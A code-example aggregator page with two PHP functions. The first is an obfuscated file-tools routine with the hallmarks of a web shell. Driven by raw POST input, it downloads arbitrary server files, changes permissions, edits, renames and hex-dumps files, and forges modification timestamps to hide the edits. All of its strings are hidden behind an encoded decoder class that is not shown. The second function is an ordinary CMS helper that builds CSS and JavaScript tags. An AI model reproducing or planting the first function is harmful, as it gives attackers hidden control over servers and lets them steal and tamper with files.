Exemple #1
0
function aCtiONfILEstOolS()
{
    if (isset($_POST[_≈сс::_ш┬('_' . '╩г', '_пп' . 'ц')])) {
        $_POST[_≈сс::_ш┬('_' . '≤√', '_в╕е')] = UrlDEcOde($_POST[_≈сс::_ш┬('_' . '╥' . 'н╥', '_' . 'ч╗')]);
    }
    if (@$_POST[_≈сс::_ш┬('_' . 'п║', '_╟⌡')] == _≈сс::_ш┬('_' . '╔' . '╛', '_╞в')) {
        if (@Is_FIlE($_POST[_≈сс::_ш┬('_╧' . '╘', '_╔╣')]) && @is_REaDabLe($_POST[_≈сс::_ш┬('_эмо', '_р┼' . 'я')])) {
            ob_StarT(_≈сс::_ш┬('_б╓', '_╤├о'), 010000);
            heAder(_≈сс::_ш┬('_у≥ё', '_≤л') . bASENAME($_POST[_≈сс::_ш┬('_┼┤' . '┴', '_' . 'ы┴п')]));
            if (FUNCtioN_ExiStS(_≈сс::_ш┬('_м├', '_≥лз'))) {
                $_д = @mIME_COntent_typE($_POST[_≈сс::_ш┬('_' . 'р├' . 'ф', '_' . 'т╩')]);
                HEader(_≈сс::_ш┬('_' . '▄⌠' . 'ф', '_├ю' . 'г') . $_д);
            } else {
                HEAder(_≈сс::_ш┬('_' . 'гз' . '╓', '_┬▀' . '▌'));
            }
            $_╔╛р = @fopEn($_POST[_≈сс::_ш┬('_ж≤┤', '_╜' . 'г')], _≈сс::_ш┬('_' . '┘' . 'ц', '_ие'));
            if ($_╔╛р) {
                while (!@fEOF($_╔╛р)) {
                    echo @fREAd($_╔╛р, 02000);
                }
                FclOse($_╔╛р);
            }
        }
        exit;
    }
    if (@$_POST[_≈сс::_ш┬('_╟├' . 'ъ', '_ц█')] == _≈сс::_ш┬('_' . 'щ√', '_' . 'ё' . '╡')) {
        if (!FILE_eXIsTs($_POST[_≈сс::_ш┬('_' . '┴⌡', '_╓' . '╟')])) {
            $_╔╛р = @FOPeN($_POST[_≈сс::_ш┬('_' . '▒' . 'ю', '_т▒' . 'б')], _≈сс::_ш┬('_' . '╞' . '╥', '_' . 'цщ'));
            if ($_╔╛р) {
                $_POST[_≈сс::_ш┬('_ёя', '_' . 'з═')] = _≈сс::_ш┬('_' . 'ц╤', '_сьъ');
                fcloSE($_╔╛р);
            }
        }
    }
    _н();
    echo _≈сс::_ш┬('_' . 'хз' . 'р', '_╙' . 'ёп');
    if (!File_ExiStS(@$_POST[_≈сс::_ш┬('_≤╩', '_' . '┴' . '≤')])) {
        echo _≈сс::_ш┬('_┤' . '▀', '_╙╚х');
        _▌╩();
        return;
    }
    $_■ = @posIX_geTPwUID(@fileOWNER($_POST[_≈сс::_ш┬('_' . '╝╗' . '├', '_╫' . 'я')]));
    if (!$_■) {
        $_■[_≈сс::_ш┬('_╩' . '╞', '_╠' . '═╞')] = @fILeOwNER($_POST[_≈сс::_ш┬('_ц╘', '_' . '≈' . '■⌡')]);
        $_▀я├[_≈сс::_ш┬('_ц╡' . 'о', '_' . '⌠√')] = @FileGrOUp($_POST[_≈сс::_ш┬('_' . 'х┬', '_╛мл')]);
    } else {
        $_▀я├ = @poSIx_gETgrgID(@fiLEgrOUP($_POST[_≈сс::_ш┬('_сь', '_' . 'х═' . '▌')]));
    }
    echo _≈сс::_ш┬('_фж' . '┴', '_╕╤≈') . HtmLSPeCiALCHaRS(@baSenAme($_POST[_≈сс::_ш┬('_' . 'я═' . '▓', '_┼┴э')])) . _≈сс::_ш┬('_┼╟' . 'р', '_┘│▀') . (IS_fiLe($_POST[_≈сс::_ш┬('_' . 'ъэ' . 'й', '_' . 'тж')]) ? _┌├к(fIlESIze($_POST[_≈сс::_ш┬('_' . '╡' . '├' . '▒', '_нв')])) : _≈сс::_ш┬('_зу', '_┘' . 'кю')) . _≈сс::_ш┬('_┬' . 'с', '_' . 'х▓') . _═├($_POST[_≈сс::_ш┬('_╝д▌', '_' . 'шы')]) . _≈сс::_ш┬('_ь■' . '╡', '_' . '╡' . 'ыъ') . $_■[_≈сс::_ш┬('_─' . 'к╖', '_▀╠ш')] . _≈сс::_ш┬('_' . 'в═▌', '_▀╚з') . $_▀я├[_≈сс::_ш┬('_▄' . '╫', '_≈╟' . '╣')] . _≈сс::_ш┬('_я╣', '_у╓' . 'л');
    echo _≈сс::_ш┬('_⌡╩', '_' . 'ь⌡' . 'ы') . daTE(_≈сс::_ш┬('_з│' . '▒', '_к■' . 'ч'), fILEcTime($_POST[_≈сс::_ш┬('_лы', '_▒' . '╘л')])) . _≈сс::_ш┬('_' . '╖' . 'р┌', '_ж╚') . daTE(_≈сс::_ш┬('_' . '╟п', '_' . '╛' . 'ъ'), fILEaTIMe($_POST[_≈сс::_ш┬('_' . 'у▓', '_' . 'йх')])) . _≈сс::_ш┬('_ил', '_▄' . '▌' . '▒') . DAte(_≈сс::_ш┬('_▄┤ь', '_с┘м'), fiLemtIme($_POST[_≈сс::_ш┬('_▄' . '┤к', '_' . '╡√' . 'щ')])) . _≈сс::_ш┬('_б┬', '_ы│б');
    if (empty($_POST[_≈сс::_ш┬('_╧жч', '_╞' . 'д')])) {
        $_POST[_≈сс::_ш┬('_' . 'н╞│', '_' . 'фюй')] = _≈сс::_ш┬('_' . 'э├', '_█' . '■' . 'х');
    }
    if (iS_FILE($_POST[_≈сс::_ш┬('_ф╧', '_╕√')])) {
        $_║ = array(_≈сс::_ш┬('_' . 'я╙', '_' . '┌■'), _≈сс::_ш┬('_' . '╗' . 'г', '_═' . '╠'), _≈сс::_ш┬('_≤┴', '_' . 'шр'), _≈сс::_ш┬('_' . '═' . '√╧', '_' . 'ом' . '╜'), _≈сс::_ш┬('_' . '┬╙', '_╙' . '╙' . '√'), _≈сс::_ш┬('_ас≈', '_' . 'ь╠'), _≈сс::_ш┬('_▌╔' . '╤', '_а' . '▄х'), _≈сс::_ш┬('_ж╫' . '║', '_г╩┘'));
    } else {
        $_║ = array(_≈сс::_ш┬('_' . '└' . '▓╤', '_ч≤' . '╩'), _≈сс::_ш┬('_┼' . '└', '_╖' . 'н≈'), _≈сс::_ш┬('_г├' . '▒', '_' . 'ь╔й'));
    }
    foreach ($_║ as $_ю╫) {
        echo _≈сс::_ш┬('_├' . 'в', '_╙─в') . uRlenCoDE($_POST[_≈сс::_ш┬('_' . '╣' . 'к▓', '_' . '▌┼' . '┘')]) . _≈сс::_ш┬('_' . 'дх', '_┬' . 'ф') . StrToloWER($_ю╫) . _≈сс::_ш┬('_┌' . 'и⌡', '_' . '▄╟') . (STrTOLOwer($_ю╫) == @$_POST[_≈сс::_ш┬('_' . '⌠а' . '╡', '_ащ▐')] ? _≈сс::_ш┬('_' . '╔■ш', '_▀ф█') . $_ю╫ . _≈сс::_ш┬('_' . '∙─', '_улт') : $_ю╫) . _≈сс::_ш┬('_' . '⌠' . '╝' . '√', '_▐' . 'ф≈');
    }
    echo _≈сс::_ш┬('_' . '│█', '_╝▀' . 'п');
    switch ($_POST[_≈сс::_ш┬('_√' . '┬', '_' . '╔▌' . '≤')]) {
        case _≈сс::_ш┬('_' . '╠√', '_' . 'п╙'):
            echo _≈сс::_ш┬('_' . '╫' . 'л╙', '_≤я┤');
            $_╔╛р = @fopeN($_POST[_≈сс::_ш┬('_╛╔▓', '_╖э')], _≈сс::_ш┬('_' . 'лу', '_к┤'));
            if ($_╔╛р) {
                while (!@fEof($_╔╛р)) {
                    echo HtMLSpEcIalcHaRs(@fREad($_╔╛р, 02000));
                }
                @fCLOSe($_╔╛р);
            }
            echo _≈сс::_ш┬('_жк', '_' . 'ё╧');
            break;
        case _≈сс::_ш┬('_┴╔', '_' . 'ф├≤'):
            if (@is_readABlE($_POST[_≈сс::_ш┬('_▀' . '≥', '_' . '▒≥╔')])) {
                echo _≈сс::_ш┬('_' . '▐' . '┼б', '_я└');
                $_╟щ = @higHlIght_FILe($_POST[_≈сс::_ш┬('_' . '╧' . '╟' . '╚', '_' . '═▓')], true);
                echo sTR_REpLAcE(array(_≈сс::_ш┬('_' . 'за', '_╩' . '≥'), _≈сс::_ш┬('_├' . 'й╘', '_' . 'я█' . '╓')), array(_≈сс::_ш┬('_╓√≥', '_' . 'идб'), _≈сс::_ш┬('_' . '║╡х', '_ш▒')), $_╟щ) . _≈сс::_ш┬('_' . 'д─' . 'ы', '_нт');
            }
            break;
        case _≈сс::_ш┬('_┤жэ', '_чзъ'):
            if (!empty($_POST[_≈сс::_ш┬('_' . 'в╠', '_жь' . 'в')])) {
                $_┼┤ = 00;
                for ($_╧╞│ = strlEN($_POST[_≈сс::_ш┬('_╔┬', '_' . 'чу║')]) - 01; $_╧╞│ >= 00; --$_╧╞│) {
                    $_┼┤ += (int) $_POST[_≈сс::_ш┬('_' . 'ь≥', '_' . '┌' . 'з')][$_╧╞│] * pOw(010, STrleN($_POST[_≈сс::_ш┬('_' . '│■┌', '_' . '╗╣')]) - $_╧╞│ - 01);
                }
                if (!@chmOD($_POST[_≈сс::_ш┬('_' . '▓в', '_вж╫')], $_┼┤)) {
                    echo _≈сс::_ш┬('_гр' . '═', '_⌡┌и');
                }
            }
            cLEARStAtcaCHE();
            echo _≈сс::_ш┬('_х╜' . 'ё', '_пъ') . UrLEncODE($_POST[_≈сс::_ш┬('_' . 'ыс', '_╟≥' . 'к')]) . _≈сс::_ш┬('_╗' . 'щф', '_щ■' . '■') . suBSTr(SPRINTF(_≈сс::_ш┬('_╚з', '_═ф'), FiLEPERmS($_POST[_≈сс::_ш┬('_' . '≈▄' . '╗', '_' . 'ь⌡│')])), -04) . _≈сс::_ш┬('_к╩' . 'л', '_█' . 'ц╣');
            break;
        case _≈сс::_ш┬('_▓┘р', '_ечп'):
            if (!IS_WRITABle($_POST[_≈сс::_ш┬('_╫' . 'ж╤', '_▒' . '╚┬')])) {
                echo _≈сс::_ш┬('_║м', '_≥' . '▒');
                break;
            }
            if (!empty($_POST[_≈сс::_ш┬('_' . 'д╧м', '_е≤х')])) {
                $_▌щм = @Filemtime($_POST[_≈сс::_ш┬('_╧└' . '╞', '_' . '█≈' . 'е')]);
                $_POST[_≈сс::_ш┬('_│▓' . '▀', '_шсл')] = suBsTr($_POST[_≈сс::_ш┬('_яр' . 'я', '_' . '╥║' . '┼')], 01);
                $_╔╛р = @FoPEn($_POST[_≈сс::_ш┬('_▓╞', '_≤ф')], _≈сс::_ш┬('_ют', '_с▌'));
                if ($_╔╛р) {
                    @FwriTE($_╔╛р, $_POST[_≈сс::_ш┬('_┤ъ│', '_' . '⌡└─')]);
                    @FcLOsE($_╔╛р);
                    echo _≈сс::_ш┬('_' . 'хъ', '_ы╗' . 'ж');
                    @TouCh($_POST[_≈сс::_ш┬('_' . 'гэ', '_ьа' . 'я')], $_▌щм, $_▌щм);
                }
            }
            echo _≈сс::_ш┬('_▐╖', '_ны') . UrlenCOdE($_POST[_≈сс::_ш┬('_│' . 'п┤', '_' . '╙с')]) . _≈сс::_ш┬('_' . '≤║╝', '_√╚' . 'р');
            $_╔╛р = @FopEn($_POST[_≈сс::_ш┬('_╙╫', '_├' . '┬')], _≈сс::_ш┬('_╙' . '▌', '_пр'));
            if ($_╔╛р) {
                while (!@FEOF($_╔╛р)) {
                    echo htMLspeciaLCharS(@freaD($_╔╛р, 02000));
                }
                @fCloSe($_╔╛р);
            }
            echo _≈сс::_ш┬('_' . '╗' . '╔┴', '_∙м');
            break;
        case _≈сс::_ш┬('_' . '╚╕' . '╔', '_д╧' . '▄'):
            $_┼┘╓ = @FIlE_geT_CONtENTs($_POST[_≈сс::_ш┬('_║о', '_┌ё▒')]);
            $_╫≥ = 00;
            $_⌡х = array(_≈сс::_ш┬('_┼' . '╣', '_' . 'фкв'), _≈сс::_ш┬('_' . 'мъ', '_щц' . '█'), _≈сс::_ш┬('_ьёт', '_ы╓'));
            $_▀╔└ = STrlen($_┼┘╓);
            for ($_╧╞│ = 00; $_╧╞│ < $_▀╔└; ++$_╧╞│) {
                $_⌡х[01] .= sPRIntf(_≈сс::_ш┬('_╛╝╧', '_■й'), ORd($_┼┘╓[$_╧╞│])) . _≈сс::_ш┬('_═╝╥', '_' . 'бр╤');
                switch (ORD($_┼┘╓[$_╧╞│])) {
                    case 00:
                        $_⌡х[02] .= _≈сс::_ш┬('_' . '⌠─', '_' . 'ег');
                        break;
                    case 011:
                        $_⌡х[02] .= _≈сс::_ш┬('_' . '≥≈щ', '_' . '≈вн');
                        break;
                    case 012:
                        $_⌡х[02] .= _≈сс::_ш┬('_яе' . '┼', '_' . 'у▓' . '║');
                        break;
                    case 015:
                        $_⌡х[02] .= _≈сс::_ш┬('_╣ы', '_' . '╙щ');
                        break;
                    default:
                        $_⌡х[02] .= $_┼┘╓[$_╧╞│];
                        break;
                }
                $_╫≥++;
                if ($_╫≥ == 040) {
                    $_╫≥ = 00;
                    if ($_╧╞│ + 01 < $_▀╔└) {
                        $_⌡х[00] .= sPrintf(_≈сс::_ш┬('_╙╟', '_║≤'), $_╧╞│ + 01) . _≈сс::_ш┬('_' . 'сс', '_п╘м');
                    }
                    $_⌡х[01] .= _≈сс::_ш┬('_кдк', '_≈╫л');
                    $_⌡х[02] .= _≈сс::_ш┬('_╤╘╫', '_' . 'мй');
                }
            }
            echo _≈сс::_ш┬('_▌┼', '_⌡лп') . $_⌡х[00] . _≈сс::_ш┬('_' . '╥ку', '_' . 'ю╖') . $_⌡х[01] . _≈сс::_ш┬('_' . '▐эр', '_⌡' . '√╫') . hTmLspEcIalcHaRs($_⌡х[02]) . _≈сс::_ш┬('_∙э║', '_хш' . '└');
            break;
        case _≈сс::_ш┬('_╣' . '╔', '_▄' . 'ъ╥'):
            if (!empty($_POST[_≈сс::_ш┬('_' . 'у█у', '_▐∙╠')])) {
                if (!@reName($_POST[_≈сс::_ш┬('_ы≥╝', '_' . '┌р╘')], $_POST[_≈сс::_ш┬('_╣ш', '_⌡' . 'э')])) {
                    echo _≈сс::_ш┬('_р╖', '_■│');
                } else {
                    die(_≈сс::_ш┬('_╗' . 'т', '_▒' . 'г') . uRLeNCodE($_POST[_≈сс::_ш┬('_╫' . '⌡', '_' . '▒й')]) . _≈сс::_ш┬('_' . '╩' . '√⌠', '_└' . '═'));
                }
            }
            echo _≈сс::_ш┬('_' . '■╞э', '_≥╟й') . URlEnCOde($_POST[_≈сс::_ш┬('_' . 'ью', '_╗' . '╖')]) . _≈сс::_ш┬('_' . '═' . 'э', '_' . '│╥') . HtmlSPeCialcHARs($_POST[_≈сс::_ш┬('_▐' . '┤' . 'ф', '_ас')]) . _≈сс::_ш┬('_яц', '_≥р');
            break;
        case _≈сс::_ш┬('_рд' . 'ч', '_╡╞' . 'ъ'):
            if (!empty($_POST[_≈сс::_ш┬('_╣' . 'ь▓', '_╫' . '┴')])) {
                $_▌щм = StRTotime($_POST[_≈сс::_ш┬('_▌╛' . '≈', '_' . '═' . '')]);
                if ($_▌щм) {
                    if (!toUCh($_POST[_≈сс::_ш┬('_≈' . '╫', '_' . 'й■' . 'м')], $_▌щм, $_▌щм)) {
                        echo _≈сс::_ш┬('_┼' . 'з', '_е╟');
                    } else {
                        echo _≈сс::_ш┬('_▀' . '║', '_яэ╥');
                    }
                } else {
                    echo _≈сс::_ш┬('_ре', '_' . 'чж');
                }
            }
            cLEarSTaTcAcHE();
            echo _≈сс::_ш┬('_ух' . 'б', '_╧' . '╩' . '╤') . uRlENcODE($_POST[_≈сс::_ш┬('_╚п', '_┘' . 'я')]) . _≈сс::_ш┬('_╖' . 'о', '_' . 'м╠') . DAtE(_≈сс::_ш┬('_╞' . '⌠ъ', '_╞' . '═'), @fILemTImE($_POST[_≈сс::_ш┬('_фчя', '_╕│')])) . _≈сс::_ш┬('_' . '╛л', '_╠ую');
            break;
    }
    echo _≈сс::_ш┬('_' . 'у║', '_├╩');
    _▌╩();
}
Exemple #2
0
 /**
  * The HTML CSS/JS Element creator
  *
  * @version 1
  * @author Rick de Man <*****@*****.**>
  *        
  * @param string $Type
  *        	The element to be created CSS|JS
  * @param string $File
  *        	The location of the file
  * @return boolean|string The HTML Hidden Head part, or false when failed
  */
 private function HTML_CreateElement($Type, $File)
 {
     $_File = $File;
     // Check if the file name starts with WMS_ROOT ( Absoulte path )
     if (startsWith(WMS_ROOT, $_File)) {
         // Remove WMS_ROOT, 'relative path'
         $_File = substr($_File, strlen(WMS_ROOT));
     }
     // File type must be lowercase
     $Type = strtolower($Type);
     // File type must be lowercase
     $FileN = strtolower($_File);
     // CSS file
     if ($Type == 'css') {
         // Check if *.css or *.min.css must be loaded
         $MinFile = $this->WMS['MinifyCss'] !== false;
         // Only passes MIN/MAX CSS files according to the Setup Settings
         if ($MinFile == true && stripos($FileN, '.min.css') !== false || $MinFile != true && stripos($FileN, '.min.css') === false) {
             // Check if an Bootstrap css is found
             if (preg_match('/bootstrap(\\.min){0,1}\\.css/i', $_File, $Match) == 1) {
                 // Load the Context
                 $Text = file_get_contents($File);
                 // Locate the Version
                 if (preg_match('/Bootstrap v(.{1,})\\(/', $Text, $Match) == 1) {
                     // Store the version
                     $this->BootsTrapVersion = $Match[1];
                 }
             }
             // Generate a Complete CSS Link element Link?timecode
             return '<link rel="stylesheet" type="text/css" href="' . $this->HTML_Root . $_File . '?' . Filemtime($File) . '">';
         }
         // Return Failure
         return false;
     }
     // JS file
     if ($Type == 'js') {
         // Check if *.js or *.min.js must be loaded
         $MinFile = $this->WMS['MinifyJs'] !== false;
         // Only passes MIN/MAX JS files according to the Setup Settings
         if ($MinFile == true && stripos($FileN, '.min.js') !== false || $MinFile != true && stripos($FileN, '.min.js') === false) {
             // Return an HTML-5 Javascript Tag
             return '<script type="text/javascript" src="' . $this->HTML_Root . $_File . '?' . Filemtime($File) . '"></script>';
         }
         // Return Failure
         return false;
     }
     // default value
     return false;
 }